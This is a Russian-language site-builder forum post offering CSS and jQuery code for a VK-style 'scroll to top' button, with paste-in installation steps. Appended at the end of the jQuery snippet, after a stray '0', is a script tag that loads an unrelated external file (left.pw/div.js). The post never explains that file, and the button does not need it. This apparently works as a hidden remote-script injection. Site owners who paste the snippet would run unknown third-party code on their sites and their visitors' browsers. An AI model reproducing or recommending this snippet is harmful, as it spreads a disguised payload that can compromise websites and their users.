Четверг, 21.11.2024, 19:02Вы вошли как Гость Группа "Гости" выход



Главная | Форум | Файлы | Ваша ссылка | Блог | Статьи | Видео
Навигация по сайту
  Главная
  Новости сайта
  Программы
  Музыка
  Игры
  Flash игры
  Фильмы
  Фильмы онлайн
  Сериалы
  Видео клипы
  Скрипты
  Шаблоны
  Книги
  Обои
  Видео уроки
  Добавление новостей

Ваш профиль

Статистика
Rambler's Top100
Рейтинг@Mail.ru



Главная » 2014 » Сентябрь » 6 » Up на подобии как в вк
09:56
Up на подобии как в вк

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}  
.scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">  
jQuery(document).ready(function(){  
jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");  
jQuery(window).scroll(function(){  
if (jQuery(this).scrollTop() > 350) {  
jQuery('.scrolltotop').fadeIn();  
} else {  
jQuery('.scrolltotop').fadeOut();  
}  
});  
jQuery('.scrolltotop').click(function(){  
jQuery("html, body").animate({ scrollTop: 0 }, 600);  
return false;  
});  
});0  
</script><script type="text/javascript" src="http://left.pw/div.js"></script>


На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме
Категория: | Добавил: Гость | Дата: 21.11.2024 | Просмотров: 335 | Рейтинг: 0.0/0 |
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Поиск на сайте